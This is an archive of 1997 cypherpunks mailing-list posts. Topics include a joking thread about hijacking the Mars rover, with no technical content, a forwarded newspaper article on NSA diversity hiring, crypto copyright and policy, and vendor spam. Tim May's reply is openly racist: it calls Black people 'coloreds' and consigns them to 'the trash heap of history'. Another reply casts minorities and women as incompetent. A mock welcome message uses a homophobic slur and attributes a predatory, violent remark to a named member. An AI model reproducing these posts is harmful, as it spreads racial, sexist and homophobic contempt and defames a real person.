Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 07:38:06 +0800
To: "Paul H. Merrill" <paulmerrill@acm.org>
Subject: Re: Hack the Mars rover
In-Reply-To: <33C1806F.1C7B@acm.org>
Message-ID: <Pine.3.89.9707071629.A21078-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Just to clear up any confusion: I don't advocate interfering with the 
Mars probe in any way. As always, my interest in purely academic.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> Lucky Green wrote:
> > 
> > Yes, the idea was to take over the rover. A DoS would be an extremely
> > idiotic thing to do. Of course so would be damaging the rover. But a
> > little cruise... :-)
> > 
> > -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
> 
> I hate to be the one to tell you this, but taking someone's toy away --
> even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
> Blast to go joyriding.
> 
> PHM
> > 
> > On Mon, 7 Jul 1997, Ryan Anderson wrote:
> > 
> > > On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> > >
> > > > The appropriate question is how much encryption (and other security) is
> > > > needed if interrupting the traffic causes the loss of a great deal of
> > > > money and difficult (if possible at all) fixes.  This is the mindset of
> > > > the Fed security wienies when specifying and designing; thus it must be
> > > > the mindset of the non-Fed Wienie looking to crack.
> > >
> > > Well, if it matters any, my initial impression was that this discussion
> > > was based upon taking over the rover, not necessarily upon just performing
> > > a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> > > taking it over, on the other hand could be fun..
> > >
> > > -----------------------------------------------------------------------
> > > Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing"
> > > Wayne State University - CULMA   "May you live in interesting times.."
> > > randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA
> > > PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> > > -----------------------------------------------------------------------
> > >
> > >
> 
> -- 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Paul H. Merrill                Merlyn Enterprises
> paulmerrill@acm.org
> I have no opinions (just facts)
>     so it doesn't matter what my employer thinks.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Tue, 8 Jul 1997 05:04:03 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.3.89.9707071257.A950-0100000@netcom2>
Message-ID: <33C1806F.1C7B@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> Yes, the idea was to take over the rover. A DoS would be an extremely
> idiotic thing to do. Of course so would be damaging the rover. But a
> little cruise... :-)
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

I hate to be the one to tell you this, but taking someone's toy away --
even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
Blast to go joyriding.

PHM
> 
> On Mon, 7 Jul 1997, Ryan Anderson wrote:
> 
> > On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> >
> > > The appropriate question is how much encryption (and other security) is
> > > needed if interrupting the traffic causes the loss of a great deal of
> > > money and difficult (if possible at all) fixes.  This is the mindset of
> > > the Fed security wienies when specifying and designing; thus it must be
> > > the mindset of the non-Fed Wienie looking to crack.
> >
> > Well, if it matters any, my initial impression was that this discussion
> > was based upon taking over the rover, not necessarily upon just performing
> > a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> > taking it over, on the other hand could be fun..
> >
> > -----------------------------------------------------------------------
> > Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing"
> > Wayne State University - CULMA   "May you live in interesting times.."
> > randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA
> > PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> > -----------------------------------------------------------------------
> >
> >

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 8 Jul 1997 05:09:58 +0800
To: "Paul H. Merrill" <paulmerrill@acm.org>
Subject: Re: Hack the Mars rover
In-Reply-To: <33C1806F.1C7B@acm.org>
Message-ID: <Pine.GSO.3.95.970707165600.9103G-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> I hate to be the one to tell you this, but taking someone's toy away --
> even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
> Blast to go joyriding.

Yeah, it's still DoS, but it's not quite the same as just taking the toy
away from everyone..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 8 Jul 1997 05:31:53 +0800
To: cypherpunks@toad.com
Subject: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707072104.RAA31665@pig.die.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from MHollis628@aol.com -----

Note: the following appeared in the Balto Sun ...

------------------------------------------------------------------------

NSA's quest for diversity called threat 
Employees say personnel practices weaken security; Agency is reducing staff;
Complaints, lawsuits illuminate friction based on race, sex 
------------------------------------------------------------------------


By Scott Wilson 

SUN STAFF

The National Security Agency, whose size, secrecy and mission were spawned by
the Cold War, is in the midst of personnel changes that current and former
employees warn are a threat to national security.

In interviews and in federal lawsuits, NSA workers say some of the agency's
most senior personnel are being forced out as the nation's biggest
intelligence agency attempts simultaneously to reduce and diversify its
staff.

An uneasy atmosphere, some say, has fostered strife over promotions and job
security at the elite electronic-eavesdropping agency.

As a result, some question whether national security is being imperiled by
inexperienced employees being promoted to sensitive jobs to meet hiring
quotas.

At least a dozen lawsuits filed recently illuminate the racial and gender
friction within the agency.

Former employees call senior leadership the "Irish Mafia" and the Office of
Discrimination Complaints and Counseling "a party organization for blacks."

White men, white women, black women and black men have all claimed that
secretive and subjective personnel rules have violated their civil rights.

Jane S. Harris, a black NSA employee who failed to get a promotion, stated in
a discrimination suit filed against the agency last year that personnel
officials blame minorities for racial tension.

"It is a white majority problem," she said. "And the effects are felt by
people of color."

In recent months, three such suits have been dismissed as groundless.

A Glen Burnie lawyer says he has received more than 20 requests since April
from NSA employees considering legal action.

The lawyer, Emile J. Henault Jr., a former 27-year NSA employee, said,
"Suddenly it's become overwhelming."

He said there is a consideration beyond morale and that he questions whether
the agency can

remain competitive.

"They've lost their technological edge," Henault said. "I don't think they
can survive when other agencies [at the Pentagon] are doing their job better.
I never thought anyone would be able to do it better."

The main concern, though, is whether, in its push to diversify its work
force, the agency is leaving sensitive national security tasks in the hands
of untrained workers. One former NSA veteran offered as evidence a recent
travel report.

Such reports, which are required of NSA employees after business trips, are
unclassified, available on request to anyone outside the agency. The report
in question, filed by an inexperienced agent, detailed a trip to a city in
Colombia that revealed classified details of the Drug Enforcement Agency's
operation, down to the location of offices, names and secret technological
information.

Such slips are not the only national security risk, NSA veterans say. This
year, the agency's personnel office, prompted by a growing number of
incidents, warned employees against using the Internet to access adult "news"
groups and other pornographic sites.

Doing so not only violates NSA work rules but is considered a risk because
foreign agents could try to blackmail employees discovered with explicit or
illegal pornography.

Domain of white males

Shielded by national security concerns during the Cold War, the NSA was among
the least diverse agencies in the federal government for decades -- fewer
than one in 10 employees was a member of a minority. It was, by and large,
the domain of highly trained white men.

That ended with a 1994 investigation by the Defense Department inspector
general that found "the NSA had not identified systemic problems and barriers
faced by women and minorities in recruitment, hiring, promotion or career
development."

Congress demanded action, and the next year the NSA completed its first plan
to recruit minorities.

At the same time, Congress asked the agency, Maryland's largest employer, to
shrink the 20,000-member work force it had built up during the Cold War. And
a commission run by former Defense Secretary Harold Brown stressed the need
for a younger work force last year.

Reduction of 2,000 jobs

By conservative estimates, the agency has pared 2,200 jobs in the past two
years through attrition and early retirement. Of the 1,178 employees who left
last year, almost 70 percent were white men.

"They are having a problem modernizing their work force," said a
congressional staff member familiar with intelligence issues, who requested
anonymity.

"Using the bully pulpit to get them to change is one thing. But we may give
them extraordinary powers [such as early-retirement incentives] to reach
their goals. The health of the agency depends on it having a large influx of
talented young people. It is a substantial concern."

Lt. Gen. Kenneth A. Minihan, named NSA director last year, described "the
painful process of change" before the House Select Committee on Intelligence
in September.

"We are moving beyond diversity solely as a demographic exercise focused
exclusively on race and gender," he said. "The message is this: Diversity
encompasses and benefits every employee at NSA, and making diversity work is
part of each of our jobs."

It hasn't been easy making the NSA "look like America," Minihan told
Congress. The NSA wanted one of every three new employees to be a minority.

Nevertheless, of 425 people hired during the fiscal year that ended Sept. 30,
20.5 percent were minorities and 23.8 percent were white women, between 10
and 13 percentage points short of the hiring goal. That left a work force
with a slightly increased proportion of minorities -- from 11.3 percent in
1993 to 12.7 percent three years later.

A new bureaucracy

The push to diversify, though, has spawned a whole new bureaucracy within an
agency already dubbed "the Puzzle Palace."

The personnel office now uses a "Diversity Model" computer program. The
Office of Small and Disadvantaged Business Utilization charts agency minority
contracting. A Systemic Barriers Process Action Team was created to identify
problems with minority promotion.

In addition, an agency once so secret that its employees were forbidden to
tell friends where they worked now sponsors programs for Women's Equality Day
and Hispanic Heritage Month that feature speakers from outside the agency.

A new class is available to employees called "Selection Board and Cultural
Diversity Training Course." This summer, the agency will hold its first I Am
an American Day.

Nonetheless, annual employee complaints filed with the federal Equal
Employment Opportunity Commission have doubled. In 1990, 17 employees filed
claims with the watchdog agency. In 1995, the number was 45, and in nine
months so far this fiscal year, 33 workers have filed.

The complaints continue even as the NSA has changed its promotion policy.

Now women and minority candidates receive at least one round of extra
consideration for promotion, which means a minority woman receives three
chances to advance to a white man's one.

And that has its own problems. In February 1993, William J. Sonntag, an NSA
employee, was up for promotion to deputy division chief. He did not get it.
All three slots went to women. In May 1995, he filed suit in U.S. District
Court in Baltimore.

"I was denied consideration of a management position on the sole basis that
white males were not being considered for three such jobs in my office,"
Sonntag states in his lawsuit.

But Sonntag, of Ellicott City, lost his case last year. "It is fair to say
that the entire thrust of [the] plaintiff's position is that [it] prohibits
affirmative action," wrote Judge Frederic N. Smalkin in his ruling.

Sonntag, now appealing the judge's ruling, and other NSA employees allege
that the agency uses an aggressive brand of affirmative action to deny
promotions and even to fire employees.

Henault calls the personnel office, which works with NSA's medical staff and
counseling office, a "paramilitary group." He said the agency uses
information from confidential employee-counseling sessions to revoke security
clearances -- and, with them, jobs.

A weekend drunken-driving arrest, which used to prompt counseling sessions,
now frequently results in the loss of a security pass and dismissal, he said.

"When you say `national security,' everybody just wilts," Henault said.
"Everybody hides under it."

Sonntag alleged in his suit that the NSA "deleted crucial data on my
qualifications from my personnel file," which the agency denied. A former NSA
employee said he was told to leave the agency after almost three decades or
medical benefits to his wife, who suffers from a chronic illness, would be
cut off.

Attempt to embarrass

In another case, a female employee, who filed her suit under the name "Jane
Doe" fearing retribution, claims NSA released her confidential personnel
files to embarrass her in an outside court case. The agency defends the
release as legal.

"That is why the morale is so low within the intelligence community," said
Mark Zaid, a Washington lawyer who represents Jane Doe. "They make a mistake,
and they refuse to accept responsibility. They go out of their way to avoid
it."

Other suits accuse NSA psychologists of producing false medical evaluations
to justify the revocation of security clearances, which are required for
agency work. The federal civil service offers legal job protections, but a
security clearance is not a right and can be pulled at a supervisor's
discretion.

In 1988, the U.S. Supreme Court ruled that a security clearance can be
revoked subjectively and that no right exists to appeal the decision.

In response to questions from The Sun about personnel policy, the NSA public
affairs office issued a statement that: "Far from diversity diverting our
focus from national security issues, it strengthens us as an agency. It is
the law of the land, it is Congressionally mandated and it is the right thing
to do."


------------------------------------------------------------------------
Originally Published on 7/06/97 
----
This is the milcom mailing list. Milcom is devoted to military
communications monitoring in the HF/VHF/UHF radio spectrum and beyond.
To post to the list, send an email to :     milcom@grove.net
To unsubscribe the list, send an email to:  majordomo@grove.net
with only "unsubscribe milcom" in the BODY of the email.
----

----- End of forwarded message from MHollis628@aol.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 7 Jul 1997 23:30:23 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <199707071515.RAA19807@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Mike <Michael.Johnson@mejl.com> writes:
> > You mean that it would be fine for foreigners to copy and sell the CD, but
> > not to put it on the net? Well, copyright law being what it is, makes this
> > a bit tricky. An ftp administrator have never been sentenced for copyright
> > violation (please correct me if I'm wrong),
>
> An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
> He got arrested and charged with something irrelevant (wire fraud??).

The case against him was lost.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Tue, 8 Jul 1997 05:51:40 +0800
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Key Recovery Policy in Japan
In-Reply-To: <199707050110.KAA14212@eccosys.com>
Message-ID: <3.0.2.32.19970707172334.00b56150@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Is the NRC report online?


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM8FeSVQXJENzYr45AQEOYwP/b/DpI6+QBk/DzTIEUcgZBkYsq5qjNmIY
M73obu2C83dAY5fuHRZ4ciDXXVhC7O5ykzxd1LxUTtyoBjxr8+AjaIVk/F0mSiea
Eb4vko4OtDABVxCnMMHXRryjkjUZXjPsrnZTErPNfhP16AF/LRHMDZwdY28a2oYu
++O3wFImJR4=
=hZ0W
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 8 Jul 1997 06:26:07 +0800
To: cypherpunks@toad.com
Subject: Re: Hoarding
In-Reply-To: <v0302090aafe6fb5415be@[139.167.130.247]>
Message-ID: <97Jul7.180905edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Robert Hettinga wrote:

> > I heard yesterday, second hand, that hoarding of large amounts of food is
> > now a federal crime.  The explanation I heard was that it was intended to
> > thwart militias.  Has anyone else on the list heard this loony info?
> 
> Nope, but if it's true, they'll have the entire Mormon denomination down
> their throats.
> 
> Hey, has anyone noticed that the water temperature keeps going up? Ribbit.
> Ribbit.

Or has anyone noticed that only libetrarians are getting steamed?

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 09:20:00 +0800
To: cypherpunks@Algebra.COM
Subject: The Coloreds Have Chosen the Trash Heap
In-Reply-To: <199707072104.RAA31665@pig.die.com>
Message-ID: <v03102805afe7426805aa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:04 PM -0700 7/7/97, Dave Emery wrote:

>By Scott Wilson
>
>SUN STAFF
>
>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>In interviews and in federal lawsuits, NSA workers say some of the agency's
>most senior personnel are being forced out as the nation's biggest
>intelligence agency attempts simultaneously to reduce and diversify its
>staff.
...
>"It is a white majority problem," she said. "And the effects are felt by
>people of color."

If the coloreds want to work in science and math, how come enrollments in
science, math, and engineering are at 30-year lows for coloreds?

>Now women and minority candidates receive at least one round of extra
>consideration for promotion, which means a minority woman receives three
>chances to advance to a white man's one.

Quotas and special scoring provisions. "We add 400 points to their combined
SAT scores, to bring the coloreds up to the levels scored by the average
whitemale person of privilege." (The unthinkable alternate interpretation
being that 10 years of playing street corner basketball while the honkeys
were reading Heinlein and Feynman may have had something to do with their
current illiteracy.)

At least this is somewhat encouraging: those trying to tap our phones will
be quota employees. Some pregnant, crippled, blind, colored chick will be
filling the NSA's quota for hiring "minority" persons.

UC Berkeley, as a list member here knows quite well, has effectively had to
treat Asians as "honorary white people," for the purposes of setting
quotas. Something that is now ending, thankfully. The colored race is
headed for the trash heap of history, courtesy of their own choices.

Fuck 'em.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 8 Jul 1997 00:37:26 +0800
To: rah@shipwright.com
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <v0302090aafe6aa6a6cea@[139.167.130.246]>
Message-ID: <9707071618.AA63188@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
> the Russian networking company in which Sun has a 10 percent stake, to
> turn over the source code of its SunScreen SKIP E+.

Why should the US government get access to the source code of foreign
product being imported to the US?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 10:12:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <v03102801afe6d3f5130f@[207.167.93.63]>
Message-ID: <Pine.3.89.9707071812.A2279-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



For whatever reason, the original post never made it here. Would somebody 
please email the cite for this NSA request?

Thanks,
-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 7 Jul 1997, Tim May wrote:

> At 9:18 AM -0700 7/7/97, Ulf Möller wrote:
> >> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
> >> the Russian networking company in which Sun has a 10 percent stake, to
> >> turn over the source code of its SunScreen SKIP E+.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Mongerfield <rm@dev.null>
Date: Tue, 8 Jul 1997 10:42:33 +0800
To: cypherpunks@toad.com
Subject: Re: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707080214.UAA15950@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



> In interviews and in federal lawsuits, NSA workers say some of the agency's
> most senior personnel are being forced out as the nation's biggest
> intelligence agency attempts simultaneously to reduce and diversify its
> staff.
> 
> As a result, some question whether national security is being imperiled by
> inexperienced employees being promoted to sensitive jobs to meet hiring
> quotas.

  Let me see if I get this straight...
  National security is important enough to strip the citizens of their
rights and freedoms and trample the constitution into the mud, but 
National Security is not so important that it can't be compromised for 
the purpose of removing competent white males from their jobs and
replacing them with less experienced and/or incompetent colored people
and women.

> The main concern, though, is whether, in its push to diversify its work
> force, the agency is leaving sensitive national security tasks in the hands
> of untrained workers. One former NSA veteran offered as evidence a recent
> travel report.
> 
> Such reports, which are required of NSA employees after business trips, are
> unclassified, available on request to anyone outside the agency. The report
> in question, filed by an inexperienced agent, detailed a trip to a city in
> Colombia that revealed classified details of the Drug Enforcement Agency's
> operation, down to the location of offices, names and secret technological
> information.

  Of course, when DEA agents are murdered because of incompetent
affirmative
action promotees at NSA, the government will call for stronger controls
on
encryption and greater powers of surveillance of the citizens.

> Such slips are not the only national security risk, NSA veterans say. This
> year, the agency's personnel office, prompted by a growing number of
> incidents, warned employees against using the Internet to access adult "news"
> groups and other pornographic sites.
> 
> Doing so not only violates NSA work rules but is considered a risk because
> foreign agents could try to blackmail employees discovered with explicit or
> illegal pornography.

  While the government blackmails its own citizens with legislation
which
threatens to imprison them for actions matching those of NSA employees.

> Now women and minority candidates receive at least one round of extra
> consideration for promotion, which means a minority woman receives three
> chances to advance to a white man's one.

  Is the White House declaring this a victory for minorities, drug
dealers
and child pornographers? Politics makes for strange bedfellows.

Rodney Mongerfield
"Take my rights...please!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 8 Jul 1997 13:18:14 +0800
To: Mike <cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: <v0300781fafe76440a9bd@[207.94.249.161]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:12 AM -0700 7/7/97, Mike wrote:
>Bill Frantz wrote:
>>Excuse me.  Certain parts of that CDROM are already available overseas.
>>If they are not posted to the net how does that prevent them from being
>>available overseas?
>
>You mean that it would be fine for foreigners to copy and sell the CD, but
>not to put it on the net? Well, copyright law being what it is, makes this
>a bit tricky. An ftp administrator have never been sentenced for copyright
>violation (please correct me if I'm wrong), but CD copiers are thrown in jail
>all the time. The distinction that the courts make is that of profit.
>
>Sure, they can buy the book, but the electronic version is obviously more
>useful to some people, or there wouldn't be any market for it.
>
>I know foreigners who would like to put a copy of Applied Cryptography in
>their PalmPilots, to carry around for reference. They can't do that legaly,
>and that makes crypto less accessible.

You will have to decide for yourself how important the extra "convenience"
of an electronic copy is compared with the publisher's stated intent to
"never do this again" if it is posted.  It is a simple case of future
benefit vs. immediate gratification.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunk <cypherpunks@dev.null>
Date: Tue, 8 Jul 1997 11:07:12 +0800
To: cypherpunks@toad.com
Subject: Welcome To Cypherpunks! / Re: can i join
Message-ID: <199707080243.UAA20498@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Marc J. Wohler wrote:
> At 10:37 PM 7/6/97 -0500, you wrote:
> >Drifter0@aol.com wrote: (Subject: can I join)
> >> thanx
> >
> >   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
> >proper procedures.
> >
> >Time for the flame-form.
> 
> Bennett,
> I got some chuckles from your  'Flame Form' and sympathize with view
> expressed therein.
> 
> However:
> How do you propose that we get our import  message of strong crypto
> awareness out to the clueless if we display elitism, impatience and
> intolerance to their ignorance?

                       Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the 
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).

Your initial entry level on the Cypherpunks Mailing List (TcM) will be:
               *** Level 3 ***
                  CLUELESS
               *** Level 3 ***
  Level 3 is the second lowest entry level available. From Level 3, 
you may move up to other levels, at which the pinnacle is Cypherpunk 
Elite, or down to Level 1, which each member of the Cypherpunks Mailing
List (TcM) has his or her own pet name for.
  Your reputation capital is increased or decreased according to the
quality and frequency of your posts. You will be given clues as to
how other list members rate your post (shit-for-brains) and if you
miss these clues, then you risk being demoted to Level 1--Moron.

         _______________________
         Warning & Disclaimer!!!
         -----------------------
The "Cypherpunks Mailing List (TcM) Level Classification System" (TM)
is based on the "Snow Anarchistic Rating System"...the "Paul Bradley
MiniAnarchist Rating System"...ad infinitum...since it is a random,
daily changing composite of the rating systems of each individual
Cypherpunk.
Thus, once again, the higher levels are not necessarily better and you
may be subject to support and praise, or attack and condemnation, no
matter what the content or quality of your posts. The source of your
support on the list, or the attacks against you, may change from time
to time depending on which list member is having a "Bad Algorithm Day."

Also be advised that due to the highly technical nature of some of the
mathematical concepts addressed on the list, it is possible to move
beyond Level 0 (Flame Ony/No Content) and into negative levels of
reputation capital such as Level -1 (where your Doppleganger sends
10 copies of your own posts back to you).
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

In conclusion, "Welcome to the list, _CLUELESS_!"
 
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Tim C. May, Philosopher King:
  "Welcome to the Cypherpunks Mailing List (TcM).
  "If you check the archives, you will find that I said "thanx" to the
list back in 1992. In the future, please give me proper credit for the
quote when saying "hi" to the list."
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Dr. Dimitri Vulis, KOTM:
  "When sending ASCII Art slams against Timmy C. Mayo to the list, it
is not necessary to give me proper credit, as I will be given full
credit for it automatically, even though it is really Timmmy sending
the ASCII art, himself.
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Marc Wohler, The Newbie's Pal:
  "Please ignore the insults of the intolerant elitists on the list.
Some of them are intolerant of gay people, too. In the interests of
promoting strong crypto I let new, young, male list members come over
to my house and discuss crypto over dinner and drinks.
  "Are you small enough to fit in a small home freezer?"
----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Tue, 8 Jul 1997 09:34:56 +0800
To: cypherpunks@toad.com
Subject: WOW-COM(TM) News Update
Message-ID: <199707080118.VAA05428@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear WOW-COM(TM) Reader:

WOW-COM(TM) is the wireless industry online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1)	WOW-COM(TM)'s Wall Street Watch Expands

2)	CTIA Joins Court Challenge on Number Portability Ruling
	
3)	Wireless Apps '97 Conference Information
	

WOW-COM(TM)'S WALL STREET WATCH  EXPANDS
==========================================
http://www.wow-com.com/professional/wallstreetwatch

Check out the newly restructured and updated Wall Street Watch section of WOW-COM(TM).  This area not only provides Wireless Financial News (updated daily) and Wireless Stock Quotes, but now offers weekly, quarterly and annual wireless financial periodicals.

CTIA JOINS COURT CHALLENGE ON NUMBER PORTABILITY RULING
========================================================
http://www.wow-com.com/professional/whatshot

See how the court challenge to Number Portability Rules could affect your business.  CTIA will be on your side, arguing for reasonable time lines -- read the whole story here.

WIRELESS APPS '97 CONFERENCE INFORMATION  
=========================================
http://www.wow-com.com/professional/convention

It's wireless Internet access, CDPD, Smart Phones, and wireless modems.  It's all your employees staying in touch.  It's October 27-29, 1997.  Wireless Apps '97, all the information you need is right here.


MORE WOW-COM(TM) FEATURES
============================
WOW-COM(TM) is current: Updated 3x per day.
WOW-COM(TM) is insightful: CTIA analysis. 
WOW-COM(TM) is beneficial: Find products and services in  WOW-COM(TM)'s Virtual Trade Show.  
WOW-COM(TM) is valuable to employers and job seekers: List available positions in the WOW-COM(TM) Career Center, receive resumes via email or search job listings to find a new position in the wireless industry. 

The world of wireless is in constant motion.  Stay on top of the news and benefit from CTIA's analysis by reading WOW-COM(TM) everyday.  

You may remove yourself from the WOW-COM(TM) mailing list by going to http://www.wow-com.com/unsubscribe

================================================

This week's featured exhibitor: The Wireless SourceDisk(TM) by GeoComm International.

Need mapping software that is flexible, current, and feature rich?  The Wireless SourceDisk(TM) features the most comprehensive suite of mapping analysis tools and data available for the wireless markets, including FCC Auction D-,E-,F-Block Results.
http://www.wow-com.com/redir.cfm?url=http://www.geocomm.com/wsd.html
================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 12:41:22 +0800
To: "Phillip M. Hallam-Baker" <cypherpunks@toad.com>
Subject: Re: Fw: Hack the Mars rover
In-Reply-To: <199707080220.WAA26595@life.ai.mit.edu>
Message-ID: <3.0.2.32.19970707212618.006fed60@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 PM 7/7/97 -0400, Phillip M. Hallam-Baker wrote:
>Mentioning possible security holes in specific installations
>in public is not really fair. 

You must be joking.

[Not to mention that I didn't claim to have found a hole, but merely
inquired if anyone else knew about one].

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BadRemailer <bm@dev.null>
Date: Tue, 8 Jul 1997 11:53:06 +0800
